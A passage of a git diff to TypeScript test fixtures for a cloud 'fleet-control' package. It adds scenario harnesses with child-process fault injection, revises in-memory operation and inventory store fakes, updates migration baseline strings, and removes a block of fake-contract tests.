selectedCall = + // Each kind carries the largest call of its own shape, built here and + // nowhere else: `force-terminal` is the larger of the two, which is why it + // is the default the journal-capacity fixtures take. + const call = callKind === 'force-terminal' ? { - ...call, + ...settled, action: { kind: 'force-terminal' as const, role: 'a' as const }, migration: null, before: { databaseId: MAX_ID, scriptName: MAX_ID }, } - : call; + : { + ...settled, + action: { + kind: 'audit-page' as const, + slot: 'audit-after' as const, + limit: 32, + afterOrdinal: 1, + }, + migration: { + itemOrdinal: 0 as const, + cursor: MAX_COUNT, + step: MAX_ID, + itemsSha256: DIGEST, + }, + }; return { version: 1, phase: 'provision-a', @@ -422,8 +432,8 @@ export function maximalScenario( }, sdkRequests: MAX_COUNT, inventoryCalls: { before: MAX_COUNT, after: MAX_COUNT }, - lastCall: selectedCall, - mutation: selectedCall, + lastCall: call, + mutation: call, reconciledOrdinal: 3, operations: DIRECT_SCENARIO_OPERATION_SLOTS.map((slot) => ({ slot, @@ -441,7 +451,11 @@ export function maximalScenario( pendingArtifactVersion: MAX_ID, databaseId: MAX_ID, })), - failure: { code: 'observation-mismatch', ordinal: MAX_COUNT }, + failure: { + code: 'observation-mismatch', + ordinal: MAX_COUNT, + detail: 'below-scenario-floor' as const, + }, proofs: { initial: { a: workerVersion('a', '1', 100), @@ -598,8 +612,9 @@ export function maximalScenario( export function scenarioWith( mutate: (state: MutableScenario) => unknown, + callKind: 'audit-page' | 'force-terminal' = 'force-terminal', ): MutableScenario { - const state = maximalScenario(); + const state = maximalScenario(callKind); mutate(state); return state; } diff --git a/packages/fleet-control/test/fixtures/direct-scenario-harness.ts b/packages/fleet-control/test/fixtures/direct-scenario-harness.ts new file mode 100644 index 00000000..4012510e --- /dev/null +++ b/packages/fleet-control/test/fixtures/direct-scenario-harness.ts @@ -0,0 +1,194 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { expect } from 'vitest'; +import { createDirectInvocationClient } from '../../scripts/direct-credentialed-invocation.mjs'; +import { + type DirectRunJournal, + openDirectRunState, +} from '../../scripts/direct-credentialed-run-state.mjs'; +import type { DirectScenarioOutcome } from '../../scripts/direct-credentialed-scenario.mjs'; +import { + directBridgePreamble, + directModuleUrl, + spawnDirectChild, +} from './direct-cli-child.js'; +import { directObservationFixture } from './direct-observations.js'; +import { createDirectReferenceHarness } from './direct-reference-harness.js'; +import { cleanupDirectRunState } from './direct-run-state-builder.js'; + +export type DirectScenarioNodeResponse = NonNullable< + NonNullable< + Parameters[0] + >['nodeResponse'] +>; + +/** + * Closers the scenario suites hand back, newest first. The suites push their + * own observation fixtures onto it, so it lives beside the helpers that + * create them rather than in each suite. + */ +export const directScenarioCleanup: (() => Promise)[] = []; + +export async function closeDirectScenarioFixtures() { + const results = await Promise.allSettled( + directScenarioCleanup + .splice(0) + .reverse() + .map((close) => close()), + ); + await cleanupDirectRunState(); + const failed = results.filter((result) => result.status === 'rejected'); + expect(failed).toEqual([]); +} + +export async function createDirectScenarioFixture( + options: { nodeResponse?: DirectScenarioNodeResponse } = {}, +) { + const local = await directObservationFixture(30_000, 'confirmed', { + invocationTimeoutMs: 600_000, + maxProviderRequests: 1000, + }); + directScenarioCleanup.push(() => local.close()); + const native = await createDirectReferenceHarness({ + manifest: local.prepared.manifest, + binding: { + version: 1, + accountId: 'account', + fleetDatabaseId: 'fleet-id', + quotaDatabaseId: 'quota-id', + exportBucketName: local.prepared.names.exportBucket, + referenceModuleSetSha256: local.prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'attested-account', + }, + maintenanceNow: Date.now, + applicationProbes: true, + nodeProviderRest: true, + ...(options.nodeResponse ? { nodeResponse: options.nodeResponse } : {}), + }); + directScenarioCleanup.push(() => native.close()); + const input = (journal: DirectRunJournal = local.journal) => ({ + prepared: local.prepared, + journal, + apiToken: 'inert-provider-token', + fetch: native.fetch, + invocation: createDirectInvocationClient({ + prepared: local.prepared, + journal, + accountWorkersDevSubdomain: native.binding.accountWorkersDevSubdomain, + invokeSecret: 'inert-invoke', + fetch: native.fetch, + }), + }); + return { local, native, input }; +} + +export type DirectScenarioFixture = Awaited< + ReturnType +>; + +export async function resumeDirectScenarioJournal(f: DirectScenarioFixture) { + const resumed = await openDirectRunState({ + configPath: f.local.configPath, + prepared: f.local.prepared, + accountId: 'account', + mode: 'resume', + }); + directScenarioCleanup.push(() => resumed.close()); + return resumed; +} + +/** + * The journal wrapper a faulted child installs: it records the scenario, then + * stops the process at the first state matching `predicate`, so the suite can + * re-enter from a boundary the parent process cannot reach. + */ +const childFault = ( + name: string, + predicate: string, +) => `const faulted = Object.freeze({ + ...journal, + recordScenario: async (...args) => { + const result = await journal.recordScenario(...args); + const [scenario] = args; + if (${predicate}) { + console.log('SCENARIO_FAULT ${name}'); + process.exit(0); + } + return result; + }, +});`; + +export async function childResumeDirectScenario( + f: DirectScenarioFixture, + fault?: + | 'export-fsync' + | 'fence-reopen-after-settle' + | 'fence-drain-role-split', +) { + await f.local.journal.close(); + const script = join(f.local.directory, 'resume.mjs'); + await writeFile( + script, + ` +import {preflightDirectConformance} from ${JSON.stringify(directModuleUrl('direct-credentialed-conformance-preflight'))}; +import {openDirectRunState} from ${JSON.stringify(directModuleUrl('direct-credentialed-run-state'))}; +import {createDirectInvocationClient} from ${JSON.stringify(directModuleUrl('direct-credentialed-invocation'))}; +import {runDirectCredentialedScenario} from ${JSON.stringify(directModuleUrl('direct-credentialed-scenario'))}; +import fs from 'node:fs/promises'; +import {syncBuiltinESMExports} from 'node:module'; +${fault === 'export-fsync' ? `const realOpen=fs.open;let injected=false;fs.open=async(...args)=>{const handle=await realOpen(...args);if(String(args[0]).includes('/.journal-')){const realWrite=handle.writeFile.bind(handle),realSync=handle.sync.bind(handle);let proof=false;handle.writeFile=async(value,...rest)=>{const state=JSON.parse(String(value));proof=Boolean(state.scenario?.proofs.exports.a);return realWrite(value,...rest);};handle.sync=async()=>{if(proof&&!injected){injected=true;console.log('SCENARIO_FAULT export-fsync');throw new Error('fixture proof fsync failure');}return realSync();};}return handle;};syncBuiltinESMExports();` : ''} +const prepared=await preflightDirectConformance({configPath:${JSON.stringify(f.local.configPath)}}); +const journal=await openDirectRunState({configPath:${JSON.stringify(f.local.configPath)},prepared,accountId:'account',mode:'resume'}); +${ + fault === 'fence-reopen-after-settle' + ? childFault( + fault, + `scenario.phase === 'fence-reopen' && + scenario.mutation?.outcome === 'returned' && + scenario.mutation?.action?.kind === 'tenant-fence' && + scenario.mutation?.action?.operation === 'reopen' && + scenario.mutation?.action?.role === 'a' && + scenario.proofs.fence.reopen.a?.after === null`, + ) + : fault === 'fence-drain-role-split' + ? childFault( + fault, + `scenario.phase === 'fence-drain' && + scenario.proofs.fence.drain.a?.after != null && + scenario.proofs.fence.sweeps.a !== null && + scenario.proofs.fence.drain.b?.after === null && + scenario.proofs.fence.drain.b?.ordinal === null`, + ) + : 'const faulted = journal;' +} +${directBridgePreamble({ + bridgeUrl: f.native.bridgeUrl, + workerOrigin: `https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`, +})}try {const invocation=createDirectInvocationClient({prepared,journal: faulted,accountWorkersDevSubdomain:'attested-account',invokeSecret:'inert-invoke',fetch});const result=await runDirectCredentialedScenario({prepared,journal: faulted,invocation,apiToken:'inert-provider-token',fetch});console.log('SCENARIO_RESULT '+JSON.stringify(result));}finally{await faulted.close();} +`, + ); + const { status, stdout, stderr } = await spawnDirectChild([script], { + timeoutMs: 540_000, + }); + expect({ status, stderr }).toEqual({ status: 0, stderr: '' }); + const line = stdout + .split('\n') + .find((line) => line.startsWith('SCENARIO_RESULT ')); + if (!line) { + if ( + fault !== 'fence-reopen-after-settle' && + fault !== 'fence-drain-role-split' + ) + throw new Error(`child returned no result: ${stdout}`); + return { result: null, stdout, stderr }; + } + return { + result: JSON.parse( + line.slice('SCENARIO_RESULT '.length), + ) as DirectScenarioOutcome, + stdout, + stderr, + }; +} diff --git a/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts index b26899fe..2e34875a 100644 --- a/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts +++ b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts @@ -445,7 +445,7 @@ export const MIGRATION_SUCCESS_BASELINE_OPS = [ ] as const satisfies readonly MigrationOpLogEntry[]; export const MIGRATION_STOP_BASELINE_ERROR = - "deployment 'bravo:production' has active backend switch 'candidate-deployed'" as const satisfies string; + "deployment 'bravo:production' has active backend switch 'candidate-deploy-authorized'" as const satisfies string; export const MIGRATION_STOP_BASELINE_OPS = [ 'withDeploymentLease', diff --git a/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts index a8be5f13..53cb255b 100644 --- a/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts +++ b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts @@ -311,7 +311,11 @@ class RecordingPlainBackend implements ProvisioningBackend { if (!spec) { throw new Error(`no spec fixture for database '${database.id}'`); } - // The final per-version slice can equal spec.migrations by content. + // `verify` means the caller passed the spec's own array, so the token is + // decided by reference identity. The final per-version slice can equal + // `spec.migrations` by content and by length, so a content or length + // comparison here would relabel that slice as a verify pass and change + // what the recorded operation means — a token the goldens freeze. this.ops.push( migrations === spec.migrations ? 'applyMigrations:verify' @@ -706,6 +710,14 @@ function baseSpec( }; } +// `phase` defaults to `ready` here, and the worlds below admit from it. A +// `ready` admission exercises the interaction contract the goldens freeze — +// the ordered provider calls and the committed records — and not the +// synchronous admission guards: a golden run stays green with one of those +// guards removed. The compensating control for the guards is +// `test/fleet.test.ts` plus `pnpm run architecture:check`; the migrating-phase +// retry admission in `fleet.ts`, which a `ready` admission never reaches, is +// pinned in `test/fleet-migration-advance.test.ts`. function baseRecord( tenantTag: string, backend: ProvisioningBackendKind, @@ -1016,8 +1028,11 @@ export async function runFleetMigrationSuccessBaseline(): Promise<{ return { result, ops: world.ops }; } +// `bravo` stops the migration on a subphase drawn only from +// `BACKEND_SWITCH_SUBPHASES`, so the refusal this baseline freezes cannot be +// read as an `ExternalMigrationSubphase` of the same spelling. const STOP_REFUSAL = - "deployment 'bravo:production' has active backend switch 'candidate-deployed'"; + "deployment 'bravo:production' has active backend switch 'candidate-deploy-authorized'"; function stopWorld(): WorldRun { const ops: MigrationOpLogEntry[] = []; @@ -1099,7 +1114,7 @@ function stopWorld(): WorldRun { }), }, rollbackUntil: '2026-06-08T00:00:00.000Z', - subphase: 'candidate-deployed', + subphase: 'candidate-deploy-authorized', }, }); diff --git a/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts index 4f77bd91..14feb7ca 100644 --- a/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts +++ b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts @@ -14,6 +14,7 @@ import type { import { emptyFleetInventoryRowCounts } from '../../src/fleet-inventory-state.js'; import { canonicalFleetOperationBytes, + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, FLEET_OPERATION_STAGE_BATCH_STATEMENTS, type FleetOperationKind, type FleetOperationLease, @@ -23,7 +24,9 @@ import { FleetOperationStateError, type FleetOperationStore, fleetOperationOtherKindMessage, + fleetOperationPageLimit, fleetOperationStagedRowFromUnknown, + fleetOperationWatermarkRunMessage, } from '../../src/fleet-operation-state.js'; import type { FleetInventoryDeployment, @@ -32,13 +35,24 @@ import type { // --------------------------------------------------------------------------- // In-memory FleetOperationStore and FleetInventoryRunStore fakes for the -// bounded audit coordinator, plus the frozen clock their generation refs are -// stamped with. Suites that pin audit behaviour against a fabricated world and -// suites that pin it against a real ProviderWorld share these, so a change to -// the durable contract lands in one place. +// bounded audit coordinator, the frozen clock their generation refs are +// stamped with, and the seeded operation-id helper their rows are keyed by — +// more than the operation fakes the file is named for. Suites that pin audit +// behaviour against a fabricated world and suites that pin it against a real +// ProviderWorld share these, so a change to the durable contract lands in one +// place. // --------------------------------------------------------------------------- -/** The frozen instant this fixture stamps finalized generations with. */ +/** + * The frozen instant this fixture stamps finalized generation refs and run + * records with. It governs what this file writes, not what a consumer audits + * against: a consumer pins its own audit and authority clocks, and two that do + * disagree — `fleet-audit-advance.test.ts` pins them to this instant, + * `cross-backend-continuation.test.ts` to its own `AUDIT_NOW_MS`. A further + * clock reaches the port through this fake's terminal writes, which stamp + * `terminalAtMs` from `Date.now()`, so a `finalizedAtMs` assertion reads the + * wall clock rather than a pinned one. + */ export const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); export function uuidFor(seed: number): string { @@ -46,8 +60,10 @@ export function uuidFor(seed: number): string { } // --------------------------------------------------------------------------- -// Fake FleetInventoryRunStore: registers a finalized generation directly from -// a FleetResourceInventory, going through the real materialization codec. +// The FleetInventoryRunStore fake: registers a finalized generation directly +// from a FleetResourceInventory, going through the real materialization codec. +// Named for what it carries because `fleet-inventory-advance.test.ts` declares +// its own local fake of the same interface for a different purpose. // --------------------------------------------------------------------------- function stageInventoryFixture(inventory: FleetResourceInventory): { @@ -226,7 +242,9 @@ function stageInventoryFixture(inventory: FleetResourceInventory): { return { rows, facts, options }; } -export class FakeInventoryRunStore implements FleetInventoryRunStore { +export class RegisteredGenerationInventoryRunStore + implements FleetInventoryRunStore +{ readonly refs = new Map(); readonly generations = new Map< number, @@ -244,7 +262,8 @@ export class FakeInventoryRunStore implements FleetInventoryRunStore { /** * When set, `latestFinalizedGeneration` throws it instead of answering, so * an unwanted call fails its title outright rather than being counted after - * the fact (§11's "instrumented to fail the test if invoked"). + * the fact: a title that must prove the method is never reached instruments + * it to fail rather than asserting a call count afterwards. * * Arming is the caller's job because this fake has no notion of "the replay * path" and cannot detect one; a title arms it once its own legitimate call @@ -297,8 +316,10 @@ export class FakeInventoryRunStore implements FleetInventoryRunStore { async withAccountInventoryLease( operation: (lease: FleetInventoryLease) => Promise, ): Promise { - // Unused by the audit coordinator (pinGeneration/releasePin are - // store-level, not lease-level); a throwing stub is sufficient. + // The lease handed to the callback answers nothing: `assertOwned` + // rejects and no other member exists, so a caller that reaches for the + // lease path fails its title instead of reading fabricated state. + // `pinGeneration` and `releasePin` are store-level and take no lease. return operation({ assertOwned: () => Promise.reject(new Error('unused')), } as unknown as FleetInventoryLease); @@ -417,6 +438,12 @@ export class FakeOperationStore implements FleetOperationStore { } }, startOperation: async (input) => this.#startOperation(input), + // Head-scoped, where `D1FleetOperationStore` delegates this member to + // the head-independent `readOperationById` and so reaches a terminal + // row too. The coordinators fall back to `readOperationById` for a row + // the head no longer names — `abandonFleetAuditOperation` at the + // `run ?? readOperationById` read — so this answer exercises that + // fallback rather than hiding it. readOperation: async (operationId) => { const op = this.operations.get(operationId); if (!op) return undefined; @@ -470,14 +497,15 @@ export class FakeOperationStore implements FleetOperationStore { input.rowKind, (this.rowPageReadCounts.get(input.rowKind) ?? 0) + 1, ); + const limit = fleetOperationPageLimit(input.limit); const key = this.#rowsKey(input.operationId, input.rowKind); const all = [...(this.rows.get(key) ?? [])].sort( (left, right) => left.ordinal - right.ordinal, ); const after = input.afterOrdinal ?? -1; const filtered = all.filter((row) => row.ordinal > after); - const page = filtered.slice(0, input.limit); - return { rows: page, done: filtered.length <= input.limit }; + const page = filtered.slice(0, limit); + return { rows: page, done: filtered.length <= limit }; } async pruneFleetOperations(): Promise< @@ -584,7 +612,7 @@ export class FakeOperationStore implements FleetOperationStore { const prefix = (watermark as number) - below.length; if (below.some((row) => row.ordinal < prefix)) { throw new Error( - `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, + fleetOperationWatermarkRunMessage(rowKind as FleetOperationRowKind), ); } } @@ -667,10 +695,7 @@ export class FakeOperationStore implements FleetOperationStore { ); } } - if ( - persisted.progress.revision !== runRecord.progress.revision || - JSON.stringify(persisted) !== JSON.stringify(runRecord) - ) { + if (JSON.stringify(persisted) !== JSON.stringify(runRecord)) { throw new Error( `fleet operation '${operationId}' is no longer at the expected revision`, ); @@ -754,6 +779,7 @@ export class FakeOperationStore implements FleetOperationStore { } const finalized: FleetOperationRunRecord = { ...runRecord, + // The wall clock, not a pinned audit clock (see AUDIT_NOW). terminalAtMs: Date.now(), }; this.operations.set(operationId, finalized); @@ -769,7 +795,7 @@ export class FakeOperationStore implements FleetOperationStore { ): Promise { const { operationId, expectedRevision, runRecord, updateRows = [] } = input; if (updateRows.length > 1) { - throw new Error('failOperation accepts at most one updateRow'); + throw new Error(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE); } const current = this.operations.get(operationId); if (current && current.kind !== kind) { @@ -793,6 +819,7 @@ export class FakeOperationStore implements FleetOperationStore { } const failed: FleetOperationRunRecord = { ...runRecord, + // The wall clock, not a pinned audit clock (see AUDIT_NOW). terminalAtMs: Date.now(), }; this.operations.set(operationId, failed); diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts index c918e98e..34b93b7f 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts @@ -22,6 +22,7 @@ import { type DeploymentSpec, effectiveLifecyclePhase, type FleetRecord, + type FleetResourceInventory, type FleetStateLease, type FleetStateStore, type PlainWorkerUploadIntent, @@ -29,6 +30,7 @@ import { } from '../../src/types.js'; import { WranglerLoopBackend } from '../../src/wrangler-loop-backend.js'; import { + type CloudflareFetchRecord, recordingFetch, restProjection, testRateCoordinator, @@ -471,6 +473,8 @@ export interface PlainWorkerHarness { readonly world: ProviderWorld; readonly exportStore: HarnessExportStore; readonly store: HarnessFleetStore; + /** Every provider request this harness's backend dispatched, in order. */ + readonly requests: readonly CloudflareFetchRecord[]; readonly exportDirectory?: string; } @@ -518,6 +522,7 @@ export function wranglerHarness( store: new HarnessFleetStore(world, undefined, { snapshot: options.snapshot, }), + requests: projected.requests, exportDirectory, }; } @@ -542,9 +547,28 @@ export function directHarness( store: new HarnessFleetStore(world, undefined, { snapshot: options.snapshot, }), + requests: projected.requests, }; } +/** + * Collects `world`'s fleet inventory over the same plain-Worker client the + * harnesses use, for a suite that needs a finalized generation rather than a + * backend. + */ +export function collectWorldInventory( + world: ProviderWorld, +): Promise { + return plainOnlyClient( + recordingFetch(restProjection(world)), + new HarnessExportStore(), + ).collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + }); +} + export function hostileCauseProxy(): object { return new Proxy( {}, diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts index 6167c482..a304def3 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts @@ -351,6 +351,8 @@ export class PlainWorkerProvisioningApiFake this.scripts.has(scriptName) || this.versions.has(scriptName) || this.deployments.has(scriptName), + workersDevEnabled: false, + previewUrlsEnabled: false, customDomains: this.domains.filter( (domain) => domain.service === scriptName, ), diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts index e8d76d96..d9efb726 100644 --- a/packages/fleet-control/test/fixtures/provider-world.ts +++ b/packages/fleet-control/test/fixtures/provider-world.ts @@ -122,6 +122,16 @@ export interface ProviderScript { secretNames: Set; } +/** The deployment identity a script reports until a fixture seeds its own. */ +export const FIXTURE_DEPLOYMENT_ID = 'deployment'; + +/** The one deployment identity both the read and the write path answer with. */ +export function deploymentIdentity( + script: Pick | undefined, +): string { + return script?.deploymentId ?? FIXTURE_DEPLOYMENT_ID; +} + export interface ProviderDatabase { readonly databaseId: string; readonly name: string; @@ -304,10 +314,13 @@ export class ProviderWorld { name: string; scripts: Array<{ name: string; bindings: readonly unknown[] }>; }> = []; + readonly queues: Array<{ queueId: string; queueName: string }> = []; readonly exports = new Map(); readonly mutationLog: string[] = []; maintenanceOrigin = 'https://control-acme.example.test'; routeOrigin = 'https://acme.example.test'; + /** The account subdomain the provider answers workers.dev reads with. */ + accountSubdomain = 'attested-account'; #allocators = new WorldAllocators(); readonly #failures = new Map(); readonly #afterEffects = new Map(); @@ -548,6 +561,7 @@ export class ProviderWorld { const cloned = new ProviderWorld(this.databaseIdMode); cloned.maintenanceOrigin = this.maintenanceOrigin; cloned.routeOrigin = this.routeOrigin; + cloned.accountSubdomain = this.accountSubdomain; cloned.#allocators = this.#allocators.clone(); for (const [name, script] of this.scripts) { cloned.seedScript(name, { @@ -570,6 +584,7 @@ export class ProviderWorld { ...this.customDomains.map((domain) => ({ ...domain })), ); cloned.zones.push(...this.zones.map((zone) => ({ ...zone }))); + cloned.queues.push(...this.queues.map((queue) => ({ ...queue }))); cloned.routes.push(...this.routes.map((route) => ({ ...route }))); cloned.durableObjectNamespaces.push( ...this.durableObjectNamespaces.map((namespace) => ({ ...namespace })), diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 69712dd7..b4e88d1d 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -26,17 +26,16 @@ import { FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND, FLEET_OPERATION_ROW_READ_BOUND, FLEET_OPERATION_STRING_BYTE_BOUND, + type FleetOperationKind, + type FleetOperationLease, type FleetOperationRunRecord, type FleetOperationStagedRow, - FleetOperationStateError, type FleetOperationStore, FleetOperationTokenFutureError, FleetOperationTokenKindError, FleetOperationTokenOperationError, fleetOperationIntakeDigest, fleetOperationItemsIntake, - fleetOperationOtherKindMessage, - fleetOperationRunRecordFromUnknown, readAllFleetOperationRows, } from '../src/fleet-operation-state.js'; import { providerBindingIdentitiesForInspection } from '../src/provider-binding-inventory.js'; @@ -55,8 +54,8 @@ import type { } from '../src/types.js'; import { AUDIT_NOW, - FakeInventoryRunStore, FakeOperationStore, + RegisteredGenerationInventoryRunStore, uuidFor, } from './fixtures/fleet-operation-fakes.js'; @@ -113,6 +112,66 @@ function pageTransformingStore( }); } +type StartOperationInput = Parameters[0]; +type StageRowsInput = Parameters[0]; +type CommitProgressInput = Parameters[0]; + +/** + * A `FakeOperationStore` view whose `created` outcome persists — and echoes — + * `persistedGeneration` instead of the generation the coordinator submitted, + * and whose first call to `fault.member` throws `fault.error` without writing. + * The fake hands its callback a plain lease object, so overriding two members + * is a spread rather than a second proxy. + */ +function divergentCreateStore( + store: FakeOperationStore, + persistedGeneration: number, + fault: Readonly<{ member: 'stageRows' | 'commitProgress'; error: Error }>, +): FleetOperationStore { + let faultsRemaining = 1; + const raiseOnce = (): void => { + if (faultsRemaining > 0) { + faultsRemaining -= 1; + throw fault.error; + } + }; + return new Proxy(store, { + get(target, property, receiver) { + if (property === 'withAccountOperationLease') { + return ( + kind: FleetOperationKind, + operation: (lease: FleetOperationLease) => Promise, + ): Promise => + target.withAccountOperationLease(kind, (lease) => + operation({ + ...lease, + startOperation: (input: StartOperationInput) => { + const progress: FleetAuditProgress = { + ...fleetAuditProgressFromUnknown(input.runRecord.progress), + generation: persistedGeneration, + }; + return lease.startOperation({ + ...input, + runRecord: { ...input.runRecord, progress }, + }); + }, + stageRows: (input: StageRowsInput) => { + if (fault.member === 'stageRows') raiseOnce(); + return lease.stageRows(input); + }, + commitProgress: (input: CommitProgressInput) => { + if (fault.member === 'commitProgress') raiseOnce(); + return lease.commitProgress(input); + }, + }), + ); + } + const value = Reflect.get(target, property, receiver); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); +} + const ENVIRONMENT = 'production'; const SPEC_DIGEST = 'a'.repeat(64); const STALE_AFTER_MS = 3_600_000; @@ -437,453 +496,6 @@ class FakeFleetStateStore implements FleetStateStore { } } -describe('operation fake guarded progress contract', () => { - const operationId = uuidFor(990); - const initial = { - version: 1, - operationId, - kind: 'migration', - state: 'running', - progress: { - kind: 'migration', - revision: 0, - itemCount: 1, - activeItemOrdinal: 0, - completedItemCount: 0, - }, - updatedAt: '2026-09-05T00:00:00.000Z', - } as const; - const intended: FleetOperationRunRecord = { - ...initial, - progress: { ...initial.progress, revision: 1 }, - }; - const row: FleetOperationStagedRow = { - rowKind: 'item', - ordinal: 0, - payload: { - ordinal: 0, - tenantTag: 'fake', - environment: 'production', - entryRecordDigest: 'a'.repeat(64), - status: 'pending', - }, - }; - const different = { - ...row, - payload: { ...row.payload, tenantTag: 'other' }, - }; - - it('loses the next successful progress response after a refused commit and accepts its retry', async () => { - const store = new FakeOperationStore(); - store.operations.set(operationId, initial); - store.heads.set('migration', operationId); - const lostResponse = new Error('progress response lost'); - store.loseNextSuccessfulCommitProgressResponse = lostResponse; - await store.withAccountOperationLease('migration', async (lease) => { - const input = { - operationId, - expectedRevision: 0, - runRecord: intended, - rows: [row], - expectedRowWatermarks: { item: 1 }, - }; - const refused = lease.commitProgress({ ...input, expectedRevision: 2 }); - await expect(refused).rejects.toBeInstanceOf(Error); - await expect(refused).rejects.toHaveProperty( - 'message', - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - expect(store.loseNextSuccessfulCommitProgressResponse).toBe(lostResponse); - expect(store.operations.get(operationId)).toEqual(initial); - expect(store.rows.size).toBe(0); - expect(store.heads.get('migration')).toBe(operationId); - - await expect(lease.commitProgress(input)).rejects.toBe(lostResponse); - expect(store.loseNextSuccessfulCommitProgressResponse).toBeUndefined(); - expect(store.operations.get(operationId)).toEqual(intended); - expect(store.rows.get(`${operationId}:item`)).toEqual([row]); - const operationsBeforeRetry = structuredClone([...store.operations]); - const rowsBeforeRetry = structuredClone([...store.rows]); - const headsBeforeRetry = [...store.heads]; - await expect(lease.commitProgress(input)).resolves.toEqual(intended); - expect([...store.operations]).toEqual(operationsBeforeRetry); - expect([...store.rows]).toEqual(rowsBeforeRetry); - expect([...store.heads]).toEqual(headsBeforeRetry); - }); - }); - - it.each([ - { method: 'finalizeOperation', state: 'running' }, - { method: 'finalizeOperation', state: 'finalized' }, - { method: 'finalizeOperation', state: 'failed' }, - { method: 'failOperation', state: 'running' }, - { method: 'failOperation', state: 'finalized' }, - { method: 'failOperation', state: 'failed' }, - ] as const)('$method refuses a foreign-kind $state record using the captured lease', async ({ - method, - state, - }) => { - const store = new FakeOperationStore(); - const source = state === 'running' ? initial : intended; - store.rows.set(`${operationId}:item`, [row]); - store.heads.set('migration', operationId); - store.heads.set('audit', uuidFor(991)); - store.operations.set( - operationId, - fleetOperationRunRecordFromUnknown({ - ...source, - state, - progress: { - ...source.progress, - ...(state === 'failed' - ? { failure: { reason: 'operator-abandoned' } } - : {}), - ...(state === 'finalized' ? { completedItemCount: 1 } : {}), - }, - }), - ); - const operationsBefore = structuredClone([...store.operations]); - const rowsBefore = structuredClone([...store.rows]); - const headsBefore = [...store.heads]; - await store.withAccountOperationLease('audit', async (lease) => { - const runRecord = fleetOperationRunRecordFromUnknown({ - ...source, - kind: 'audit', - state: method === 'finalizeOperation' ? 'finalized' : 'failed', - progress: { - kind: 'audit', - revision: 1, - stage: { step: 'finalize' }, - generation: 1, - auditTimeMs: 0, - staleAfterMs: 60_000, - recordCount: 0, - findingCount: 0, - factCount: 0, - ...(method === 'failOperation' - ? { failure: { reason: 'operator-abandoned' } } - : {}), - }, - }); - const input = { operationId, expectedRevision: 0, runRecord }; - const result = - method === 'finalizeOperation' - ? lease.finalizeOperation({ ...input, expectedRowCounts: {} }) - : lease.failOperation(input); - await expect(result).rejects.toBeInstanceOf(Error); - await expect(result).rejects.toHaveProperty( - 'message', - fleetOperationOtherKindMessage(operationId), - ); - expect([...store.operations]).toEqual(operationsBefore); - expect([...store.rows]).toEqual(rowsBefore); - expect([...store.heads]).toEqual(headsBefore); - }); - }); - - it.each([ - 'missing-operation', - 'watermark', - 'other-record', - 'different-row', - 'missing-row', - 'converged', - ] as const)('orders the %s convergence identity', async (variant) => { - const store = new FakeOperationStore(); - if (variant !== 'missing-operation') { - store.operations.set( - operationId, - variant === 'other-record' - ? { ...intended, state: 'failed' } - : intended, - ); - } - store.rows.set( - `${operationId}:item`, - variant === 'missing-row' - ? [] - : [variant === 'converged' ? row : different], - ); - const operationsBefore = structuredClone([...store.operations]); - const rowsBefore = structuredClone([...store.rows]); - await store.withAccountOperationLease('migration', async (lease) => { - const commit = lease.commitProgress({ - operationId, - expectedRevision: 0, - runRecord: intended, - updateRows: - variant === 'different-row' - ? [ - { ...row, ordinal: 1, payload: { ...row.payload, ordinal: 1 } }, - row, - ] - : [row], - expectedRowWatermarks: { - item: variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1, - }, - }); - if (variant === 'converged') { - await expect(commit).resolves.toEqual(intended); - } else { - const message = - variant === 'missing-operation' - ? `no fleet operation '${operationId}'` - : variant === 'different-row' - ? `fleet operation '${operationId}' staged rows diverge from the persisted operation` - : `fleet operation '${operationId}' is no longer at the expected revision`; - await expect(commit).rejects.toBeInstanceOf(Error); - await expect(commit).rejects.toHaveProperty('message', message); - } - }); - expect([...store.operations]).toEqual(operationsBefore); - expect([...store.rows]).toEqual(rowsBefore); - }); - - it('enforces watermark writer obligations', async () => { - for (const insert of [false, true]) { - const store = new FakeOperationStore(); - store.operations.set(operationId, initial); - store.rows.set(`${operationId}:item`, [row]); - await store.withAccountOperationLease('migration', async (lease) => { - await expect( - lease.commitProgress({ - operationId, - expectedRevision: 0, - runRecord: intended, - ...(insert ? { rows: [different] } : {}), - expectedRowWatermarks: { item: 2 }, - }), - ).rejects.toThrow( - insert - 